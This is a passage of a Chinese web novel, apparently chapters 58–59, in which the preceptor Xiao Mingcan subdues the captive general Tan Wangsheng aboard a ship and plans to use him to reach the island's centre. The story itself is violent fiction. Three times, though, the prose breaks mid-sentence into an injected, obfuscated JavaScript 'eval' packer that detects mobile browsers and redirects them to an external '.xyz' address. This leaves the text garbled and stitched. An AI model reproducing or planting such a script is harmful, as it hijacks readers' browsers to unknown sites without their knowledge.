他会借着给他们提供帮助、想要将功赎罪的“好人”身份继续搅浑这趟水。让他们在这未知的恐惧里心惊胆战,继续加深猜忌,又下意识地、本能地依靠这个唯一能给他们帮助的人。慢慢地,这船上的幸存者们就会成为檀妄生的精神傀儡,步入先前两批押送队伍的后尘。 “……国师应该也觉得很遗憾吧。” 檀妄生看着手上的帕子,然后慢慢抬起眼。他仰起头的动作让他露出了侧颈的伤口,渗流而出的鲜血被遮掩在狐裘领子里,“你看看,直到现在,你都没办法杀了我。” 萧明灿没有回答,只是看向一旁的沈祈安。沈祈安扭头叫了个名字,很快,副手就带着几个侍卫从远处甲板跑过来,手里还拿着个已经被拆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15443548|157334||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 卸的三眼铳。 “大人,所有火铳里最关键的东西在这之前就被他们拆下来了。没有这东西,这火铳与普通火器无异,没办法做到连续射击。甚至可以说,以岛上这些材料制成的管筒,还不及千机营里制造出的火器一半强。” 一个兵部的官员指向短筒的位置,对国师道:“大人您瞧,这接缝处已经被人为破坏过了,还好我们刚刚直接拆开来看了,不然,我们一旦点火,就极有可能发生炸膛。”他抹了把汗,看了眼远处还在检查火铳部件的侍卫,后怕道:“到时轻则断手,重则丢命。” 言生拿起三眼铳,翻动着看了看,“可是,他们刚刚一直在我们眼睛底下行动,破坏铁质筒管这种极其费力,又容易制造出响动引人察觉的事情……他们是怎么做到的?” 沈祈安看了眼檀妄生的那几个部下,目光无意识瞟向地上那些零零碎碎的茶叶药罐,突然想到了什么:“……他们刚刚一直在各个房间搜刮东西,翻箱倒柜弄出来的声响应该足以掩盖他们的动作。这些个亡命——” “那东西在哪?”萧明灿轻声打断了他的话,看向檀妄生,“这里一共十一把连发火铳,我们刚刚去的舱下一层没有窄窗。将军应该不会把那十几个东西随手扔到某个地方,等着我们派人去底下搜找。那么……” 她的目光从他的脸转向那道伤口,接着又一寸寸移向他的腹部。大多数人会觉得这种带着审视又直白的目光就像是在打量一个身材健硕,又恰好样貌俊美的奴隶,而这种奴隶的下场往往都是成为供人玩乐的面首,或被二次贩卖到南风馆里。但放在国师身上,这种不带任何情|色意味的目光,更像是……在观察被关在笼子里、凶恶却又无能为力的野兽。 “将军把他吞下去了吗?” “说不定呢。”檀妄生说:“那样的话,国师会把我开膛破肚吗?” 萧明灿后退几步,稍一偏头。沈祈安冷声下令:“搜身。” 侍卫们越过国师,粗暴地把他拉起来,扯下他身上那件狐裘,仔细翻抖。其他随从也不例外。萧明灿站在原地,看着他被侍卫用刀抵着,又被侍卫的背影挡住,呵斥声随着冷风传递到耳边,又被海浪声干扰,嘈杂不清。萧明灿目光瞧向远处那排摇晃的船灯,不知道为什么,她忽然觉得不太对劲。 而在她转回目光时,随着一声低呼,一个侍卫被重重掀翻在地。官员们意识不妙,慌忙后退。另一个侍卫抡刀前冲——萧明灿看到了什么东西从檀妄生袖中掉落,随即被接住,在指间转了一圈后插向侍卫的侧颈。 侍卫本能抬手遮挡,瞬间被那根两指长的细管扎穿手掌。 檀妄生抓起侍卫的衣领,将人甩进了人堆里。他没去管身后的人,朝着前面的国师掠去。他听不清周围人喊叫着什么,那声音听起来就像是受惊的兽群。他笑起来,没去看护在萧明灿身前的言生,朝着国师伸出手,就在距离那脖颈只有两步远时,忽然身体一顿,接着被人猛地拉了回去。 萧明灿看着他被侍卫们拦住,手中那根铁管掉落在地,听起来就像铁链被猛然绷直的声音。他就像条发疯的野狗。周围人群扇动的风稍稍掀起额发,她神色平静,几乎连眼睛都没眨。檀妄生试着屈起手指,那一瞬间,他感觉自己几乎能碰到萧明灿的脸,但最终只是抓了一把空气。他遗憾地放下了手。 “国师你看,这正是我们之间关系扭曲的原因,相互敌对又都割舍不了对方。” 萧明灿没有说话。 “快杀了我吧。”檀妄生蛊惑般地说:“这是你最后的机会。” 58. 死相 萧明灿能想象到那个瞬间。 他的脖子被轻而易举地割开,如同用刀划进米袋,鲜红的血覆盖了之前那道刀疤,像水流一样渗出,也许有几滴会溅在她的脸上,她能感觉到那种温热的湿感,但转瞬即逝。很快,那些血就会浸透那件黑色长衣。而当第一滴血坠到地面时,他的生命也随之走向尽头。 那些侍卫拦住的不再是一条疯狗,一头野兽,一个令人惊惶不安又无可奈何的罪将。他的身体会逐渐失力,那高大的身躯渐渐和萧明灿持平,又慢慢矮下。他会跪在地上,也许会下意识抬手捂住伤口,但萧明灿觉得,他更有可能会用那点仅剩的力气去抬头看她。 那将是他最后一次即兴而为的恶趣味。大概是想要看看国师此刻会有什么表情,依旧那么平静?如释重负?感觉到要处理接下来一系列烂摊子的棘手?还是一丝微妙的喜悦—— 又或者,他只是想让国师看看他死亡时的样子,就像他曾说过的那样,哪怕他死了,也依旧会时时出现在萧明灿的脑海里,说不定每当她日后收拾这些残局、去寻找那些对付怪物的方法时,就会不可避免地想起今日这场海雾,想起与漫天苍白相比,那极其冲击的红,想起他曾跪在自己身前的模样。 他的脸上仍带着那种笑意,但她能清晰感知到他的生命正在流逝,一如那些从伤口迅速渗出的血液不可挽回,一如周围层层叠起的海浪一样自然。也许,当他眼中那种得逞似的笑意被凝固在黯淡的瞳孔中时,萧明灿会发出一声轻微的叹息。 你看,生命就是如此脆弱。 但这种脆弱显然不会发生在檀妄生身上。 当萧明灿抬起眼时,他仍站在那里,站在侍卫和人群惊恐又仓惶的目光里。那道被划开又愈合的伤疤横在脖颈处,伤口的鲜血在混乱里被蹭了上去,盖住了尾端被缝合过的痕迹,随着剧烈喘息而微微起伏。 他看起来狼狈至极,被侍卫们用刀架住,胳膊和肩膀被刀剑划伤,束起的头发变得松散,发丝随着风荡在他的眉峰前。他看起来像个囚犯,像头困兽,像条被勒住脖子的狗。 但还不够,他没有死。 短暂的停顿之后,人群开始把目光投过来,他们都想到了这一点,并且开始为此感到紧张,就仿佛这真的是他们最后的机会。如果檀妄生现在不死,他们最终的结局就会像先前那两批失踪的人一样消失在这荒岛上。他们等着国师的命令,那些下人的眼神几乎称得上是恳求。 副手道:“国师……” 萧明灿再次看向檀妄生。 檀妄生还不能死。萧明灿脑中再次浮现出他跪在血泊里死去的模样,他低垂着头,鲜血从伤口里滴滴答答落下,他早已了无生气。但那群随从还活着。他们目睹了自己追随多年的将军死亡的过程,他们如此忠心,也许会因此反抗,彻底叛变,毕竟他们本就是一群亡命徒。 他们会暴起,会发狂,会像檀妄生刚才那样去袭击侍卫,也许还会顺手伤几个来不及躲闪的官员,但最终他们只会让自己丢掉性命。 他们掀不起什么风浪,杀了这群亡命徒很简单,难的是如何在没有他们的配合下去寻找对付那群怪物的方法。或者如何能在檀妄生不在的情况下打消岛上剩余那些人的疑心,在他们销毁火铳之前,拿到制造火铳的关键之物。 “关键……”一个官员小声念着。 萧明灿闻声看向官员手里的那根细管,上面还沾着侍卫的血。比起周围的气氛,那官员显然更关心自己手上的铁器,低声喃喃道:“虽然还缺少其他几个物件,这东西也有些损毁,但至少找到了其中一个。我能复原它……这需要四五天,如果顺利的话,我们就可以把图纸送回宫里,让千机营去锻造——” “锻造需要时间。”萧明灿轻声说:“况且,想要锻造不用每次都手动点火的连发铳,需要的也不止是这一个物件。如今怪物已经开始渗透进人群之中,西边也在打仗,我们还没有收到宫里的任何消息……已经没有时间了。” 官员一愣。萧明灿说:“皇上现在需要的不是图纸,而是现成的火器。” 沈祈安眉头皱起:“所以……” “所以我们不能杀了他。”萧明灿看着檀妄生,话却是对大家说的:“这不只是关乎我们的性命,还有皇城里的百姓,各位远在城中的家人。大家要知道,我们眼下最重要的是找到解决那群怪物的办法。” 人群再次陷入寂静。大家目光相互交汇,挣扎,躲闪,望向四周,最终又聚集在檀妄生身上——多么可笑,多么讽刺。明明被押着的人是檀妄生,明明他看起来那么狼狈,可大家眼中的恐惧却比刚刚又多了几分,那种熟悉的不安感又再次席卷而来,就好像他们终于如愿亲眼见到了这头野兽被制服,结果凑近一看,发现关着他的是个毫无用处的纸笼子。 “他能帮我们什么?” 一个官员来回走了两步,推开一旁提着油灯的侍从,看了眼甲板上的尸体,又看了看另一艘被半埋在雾里的船,张了张口,最终还是忍不住把心里话讲了出来:“他只会借着帮助的名义把我们耍得团团转!” 那一瞬间,萧明灿看到了檀妄生眼里流露出的兴奋,她忽然意识到,这正是檀妄生无比期待的一幕。比起死亡后国师要面临的烂摊子,他更希望自己能活着目睹大家陷入困境的模样,这感觉就如同看着猎物一点点被逼上悬崖,看着他们进退两难,挣扎崩溃。如果他真的是野兽,说不定还能闻到他们肌肉紧绷、陷入恐惧时散发出的气味。 檀妄生亲切地看着萧明灿,仿佛在说:“你看,这正是我们之间关系扭曲的原因。” 他应该更想说——这正是这段关系的美妙之处。 “……不。”萧明灿缓缓开口:“我们并不需要影将军的帮助,只需要他活着就好。” 两人在摇曳的火光里对视,萧明灿道:“了解那些怪物的人不只有影将军,还有岛上的村民。五年前,金海村爆发不明疫病后,一个村民把这期间发生的种种怪异之事都记录了下来,放在了家 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15462151|157334||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 中地窖里。” 随行的大夫下意识道:“什么……?” 沈祈安先一步反应过来,道:“……那岛上的怪物里有半数都是村民,如果金海村的不明疫病真和那怪物有关的话,上面必定也记录了期间关于怪物的出没情况,形貌特征,他们试图作出应对但失败的方法,甚至是数十例‘感染’后的详细症状。” 萧明灿没有移开目光,说:“鉴于影将军至今也没能找到真正对付那群怪物的方法,我想,那几本被遗忘的手札应该更能为我们提供帮助。” 官员道:“那……那东西现在在哪?” 话说出口的瞬间,大家都意识到了那东西如今在什么地方。他们再次看向檀妄生,紧接着又看向那几个被压在地上的随从。寒风吹动舱上几盏提灯,昏黄的光照着地上几个被劈成两半的木桶,几块鲜红的肉就明晃晃地堆在里面。像是某种征兆。 檀妄生笑了笑,“……国师打算带着他们直接杀进岛中心吗?那简直是最糟糕的计划。就像国师说的那样,他们会在你们踏上那木桥时就让人去销毁那几本手札。毁掉它可比毁掉一堆铁容易多了。” 萧明灿扶向腰侧的匕首。 “……啊,我知道了,”檀妄生恍然大悟地看了眼周围,笑着说:“原来这就是国师留我一命的原因。如果岛中心是个匣子的话,那么我就是那个把打开匣子的铁钥。坏了,这可怎么办?国师又陷入了那个困境里——如果想不让那群人起疑,就必须带上我,可我对于大家来说,就像——” “铁钥不会说话,不会动,也不会给人造成什么危险。因为那东西是死物。”萧明灿说,“将军也可以是。” 沈祈安朝副手一点头。檀妄生的笑容凝固了一瞬,想要说些什么,耳边却“砰”地传来闷响,紧跟着眼前一黑。他控制不住地摇晃了一下,侍卫们反而在这个时候放下了刀。他踉跄几步才勉强站稳,下意识摸向额角。 萧明灿说:“……这里在昨夜不幸遭遇不明怪物袭击,众人应对不及,伤亡惨重。当我们登上船时,发现大部分怪物已经离开,但没想到还有一些已经被‘同化’的侍卫、侍从躲在了舱下。” 檀妄生看着指尖的血,又抬眼看向萧明灿,她仍站在那里,可声音却开始变得忽远忽近:“……将军为了保护我,不幸被陷入疯症的侍卫中伤。当时海雾迟迟不散,天色又越发阴沉,我们担心怪物会再次出现,面临四面受困的处境,便只好先回来,等雾散去,再做打算。所以……” 萧明灿看向远处的海岛,那棵葬着无数尸体的槐树就立在那里,枝叶在雾里若隐若现,轮廓变得模模糊糊,像是一座巨大的坟碑。 “将军用三年时间把岛中心打造成了坚不可摧的城池。”萧明灿收回目光,看着檀妄生头上的伤口。她沾着血的衣摆在风中翻飞,话音也在海浪声里变得微不可闻,但却刚好能让檀妄生听清。她露出一个温和的微笑:“将军应该从没想过,这座城池会被自己人摧毁吧?就像这艘船一样。” 59. 游戏 檀妄生笑了,鲜血顺着额角往下淌,他没去管,就这么摇摇晃晃朝萧明灿走来,在眼看着就要靠近她时又被横刀拦住,“国师——” “如果我是将军,就不会再轻举妄动。”萧明灿说:“他们可以让将军因为重伤而短暂地陷入昏迷,也可以让将军就这么一直神志不清地昏睡下去。这一切都取决于将军怎么做。” 她看向旁边等候的随行医者,道:“反正岛上也没有什么像样的大夫。那群人对于小伤小病尚且能应付,但这种……”她看了眼檀妄生身上的伤,“将军这种神志不清的症状究竟多久才能好转,如何才能好转,那群人如今只能依靠我们派去的医者。” “这两者有什么区别吗?”檀妄生瞥了一眼周围被压在地上的部下,没再往前,“以国师的做事手段,等拿到了想要的东西之后,应该也不会再留他们每个人的性命吧?” “至少,”萧明灿道:“他们可以在死前亲口听见自己一直追随敬仰的将军说出真相。告诉他们,岛中心的覆灭是因为国师一行人的诡计,所谓的重伤昏迷从一开始就是一个谎言,而将军只是个被利用的受害者。告诉他们,你已经尽力了。而不是让他们真的以为将军是被那些无法掌控的怪物袭击,直到那里被踏平时,还在一无所知中竭力保护仍旧陷入昏迷的你。” 血腥味在甲板上弥漫。萧明灿一步未动,看着距离不过两步之遥的檀妄生,他那沾满鲜血的身体挡住了后面的槐树。她抬起手,蹭掉快要淌进他眼角的血珠,在稍稍倾身时压低了声音,补充道: “……就像当年那场营啸爆发后,他们在茫然和恐惧里,不顾性命也要救下试图自刎的你一样。” 檀妄生一把攥住萧明灿的手腕。萧明灿用眼神阻止了要赶过来的侍卫们。他的目光停留在萧明灿的眼睛上,一瞬间,刚才那种惯有的闲散和满不在乎消失了,稍显浅淡的瞳孔没了油灯的映照而变得漆黑,让人毛骨悚然。周围侍卫再次握紧刀。 但他什么也没做,只是慢慢地道:“用刀割喉是那场营啸里最不值得一提的小事,它和营啸爆发没有一丁点关系,所以哪怕是那些早就看我们不顺眼的官员,也只会骂一句活该,然后转头忘了它,这辈子也不会再多费口舌提及第二次,生怕沾上什么晦气。可国师看起来……” 他停了片刻,仿佛在审视刚随军入营的官吏,接着脸上又露出那种吊儿郎当的笑来,“比起那场相互残杀的惨况,国师好像看起来更喜欢探究我身上发生过的那些事情。是我的错觉吗?”他没去管挡在胸前的刀,就这么无所谓地俯身,靠近萧明灿的耳边,“当国师看到我脖子上的伤疤时,眼神都变得不一样了?” 萧明灿没有动,也没有看着他,她的目光始终没有挪动半分,“将军忘记我这次来的目的了吗?比起那场营啸,我当然更在意将军。” “当然,当然。只不过,国师应该知道,”檀妄生站直身体,扫过人群,“三年前我没能死成,导致如今的他们险些成了那怪物的口粮,被困在这岛上进退两难。如果国师再放我一条生路的话……说不定国师哪天可就要遭殃了。” “想要做到这一点,首先得让自己活下来。”萧明灿心平气和地说,“在场的人几乎都想杀了将军,一旦大家拿到想要的,将军没了利用价值,他们就会让将军的下场变得和那木桶里的东西一样……” 檀妄生看着她:“国师好像有能让我脱困的办法?” “躲在让人提不起杀人欲望的角落里,然后苟延残喘地活下去。”萧明灿说:“将军不妨那么试试看。如果运气好的话,说不定还真能留一条命。” 檀妄生笑了,看了眼自己鲜血淋漓的右臂,“国师的报复心可真强。甚至不惜冒着功亏一篑的风险,就为了看我像条狗一样挣扎?皇上她老人家知道自己最信任的人其实是个疯子吗?” 萧明灿微笑了笑,没再回答。寒风凛冽,浑浊的血腥味在两人之间飘荡。她听着耳边的呼吸声逐渐变得虚弱,感觉就像在看一头遍体鳞伤、挣扎喘息的狼。她试着抽回手,却反而被握得更紧。檀妄生用指腹有意无意地按着她手背的那几道划痕,比起他所说的那种报复心,他眼下的一举一动看起来倒更像是一种幼稚的报复。 萧明灿稍稍挑起眉,正准备叫侍卫,手腕却突然传来一丝温热的气息。她转过头,看到檀妄生张开口,慢慢地、讨好般地舔掉了她手腕蹭上的鲜血。他始终看着国师,却没有说出任何话,但眼神看起来就像是等待主人奖励的—— 只不过,萧明灿想。他的目光可比忠诚的狗要贪婪得多。 下一刻,他就被言生挥来的刀逼退数步。他勉强站稳,迟缓地抬起手,用掌心抹掉淌到下颌的血。 “……或者,” 他跪在了地上,用手撑着身体,看着萧明灿的身影渐渐变得模糊,那平静的声音也随着风声忽远忽近:“就当做是我的恻隐之心好了。” 人群开始嘈杂起来,所有声音变得似真似幻,像是和风声搅在了一起,又像是海浪在说话。檀妄生仍旧看着萧明灿,但侍卫的身影挡住了她。他再次蹭了下脸上的血,听见一道响亮的声音从远处传来。 “——大人!” 沈祈安从远处走来,身后还跟着几个负责操纵船只的舵手,道:“国师大人,我刚刚带人去检查了下,还好船舵没被破坏,船帆绳索也完好无损。舱下虽然发生过……混乱,但船桨附近并没有严重损坏,并不影响航行。水密舱内有我们储藏的一些干粮,也足够支撑我们赶到最近的丰舟县了。现在只剩下两个麻烦。” “水和海雾?”萧明灿说。 沈祈安点头,“看这天色,海雾最迟也要等晚上才能散去。这个比较好办,鲁大人已经带人去寻找另一个更安全的停靠位置了。就算找不到……不算这些罪臣和各位大人,我们还有三十七人,我待会就让人清理出舱下,把那几箱子武器搬上来,用刀刃加固船体四周,再派人轮流守在甲板上,那群怪物就算再怎么有能耐,也不可能登上这里一步。” 他顿了顿,看了眼周围破破烂烂的木桶,然后说:“但是水……” “不用担心。”萧明灿看着手腕内侧的痕迹,轻声道:“待会儿我会和影将军一起登岛。岛中心有一口常年不竭的古井,到时我们可以从那里取水。” 沈祈安点头,等待国师的指示。 “这场袭击本就是那群人一手策划,如今我们顺势借着那怪物,才能让影将军有个合理的理由‘重伤’。”萧明灿说:“他们疑心多,如果看到你好端端地带着一群人跟过来,就算相信影将军真的是被同化的怪物所伤,也会因为担心你们随时会对他们动手而先一步传信给岛中心,让他们藏好该藏的东西。所以……” 她抬起眼,目光在经过檀妄生时停留了一瞬,继而望向雾中的海岛。风吹起她的黑发。 沈祈安明白了意思,说:“只有让那帮亡命徒意识到我们生还的人数也微乎其微,他们才能真的相信檀妄生的伤来自于那群怪物,并且把注意力都放在救治檀妄生身上,而不是想方设法藏住那点能牵制我们的筹码。” 萧明灿看着通往荒村的那条路,并排的屋檐在雾里若隐若现,“影将军在过来时,身后还跟了十几个藏在暗中、负责探查怪物的人。他们应该就在那附近。”她示意说,“这场雾夜里帮了他们,现在倒是帮了我们。等雾散了些,将军就带人进房间里,只留一部分人在甲板上,让他们误以为我们也因这场灾祸乱作一团,自顾不暇。” 沈祈安一抬手,副手立刻去给另一艘船上的人传信。沈祈安转头看了眼那几个侍从,“但 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15485554|157334||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是大人,这几个人怎么办?我们总不能说他们所有人都因为重伤神志不清。但如果他们是清醒的,必定会在见到岛上那群人的瞬间就揭穿我们。” 萧明灿也看了眼他们几个。这些人都被侍卫们压在了地上,半面脸陷进了肉块堆里,像是待宰的畜生。萧明灿神色没有任何变化,她看着他们每一个人的脸,最终指了几个人,说:“我们只带他们五个下船,其余的人留在船上。” 侍卫将人拎了起来。萧明灿朝着那几人走去,捡起甩在一旁的刀,递给其中一个随从。 那随从年过三十,脸上糊满了血,发丝一缕缕贴着额头,眼神锐利得像是盯人的鹰。他就这么看着萧明灿,没接。 “周从友。”她看了眼一旁仍被压在地上的周从友,对这人说:“他有一个弟弟,因为兄长在战场上出了事,导致原本要办的喜宴一直推迟到去年。今年夫妻俩有了孩子,白白胖胖,很——” 那随从像是要夺刀,但刚挣动的瞬间就被侍卫拉回来了。刀锋卡着他伤口,他偏头啐了口血沫,狠声说:“他们和这些事没关系。” “他们也和这些事没有关系。”萧明灿看了眼地上的血桶,“皇上在三年前留了你们一命,相信那场营啸的确有蹊跷之处,相信你们并非勾结外敌。如今他们只是奉皇上之命来找到真相,但却成了桶里的一块碎肉。” 那人道:“他们甚至都不知道营啸那晚到底发生了什么!” 萧明灿点点头,“他们当然无辜,甚至其中一人的家人在她出事后就隐居到了乘云峰上。你知道这意味着什么吗?哪怕以后怪物横行肆虐,只要这对年迈的夫妇不下山,就可以在山中安然度过晚年。” 周从友竭力抬起头,想要说些什么。 萧明灿说:“既然你们也知道这些人无辜,那么也应该知道,你们的一举一动都会危及这些无辜人的性命。还是说,你们以为皇上找不到他们在哪?” 那人下意识看向旁边的同伴。 “这是影将军打造的游戏。游戏规则就是这样,占上风的人可以做任何事,包括改写规则。”萧明灿握住那人的胳膊,把刀放进他手里,“罗明,现在轮到我来制定规则了。” 罗明攥紧了刀,眼神瞟向四周,又回到国师身上,显然想要做些什么。他胳膊受了伤,袖管被划开,伤口随着肌肉紧绷小股冒血。但他最终什么都没做,只是握着刀,像握着一块稚童玩闹用的木刀,毫无用处。 “如果你和你的同伴做了什么不该做的,”萧明灿说:“相信我。皇上的人会比怪物先一步走进他们的家门。” “你——” 沈祈安没再让他们多言,挥挥手,让侍卫把人拉走了,“把他们脸上的血蹭掉,蹭不掉的话就把另一半脸上也抹点血,总之别让人看出他们被绑过。” 侍从们匆匆跟着走了。 沈祈安又看向檀妄生,低声道:“国师,他怎么办?需要再来一刀吗?” “不用。”萧明灿按揉了下后颈,仰头看了眼天,说:“我们先前带的药呢?喂他服下吧。” 船灯摇晃,照着那些走动的血人。大家都匆匆忙忙去做各自的事儿了,一时间人群散去,那徘徊在这的血腥味也慢慢散了。大夫打开之前随从顺手拎上来的药箱,拿起一个瓷瓶,倒出药丸,喂给了檀妄生。 很快,他被几个随从搀扶着站起来,往甲板另一侧走去。那本就松散的发带彻底掉落,随着风飘到了萧明灿的靴边,她捡起发带。这地方很快就剩下国师,言生和沈祈安三人。一只被关在笼子里的信鸽啄了点食,瞧着他们看。 萧明灿转身走向房间。沈祈安试着开口:“国师……” “将军。”萧明灿分出一半头发,在脑后束起发辫,然后才看向他,“周卫是你杀的。”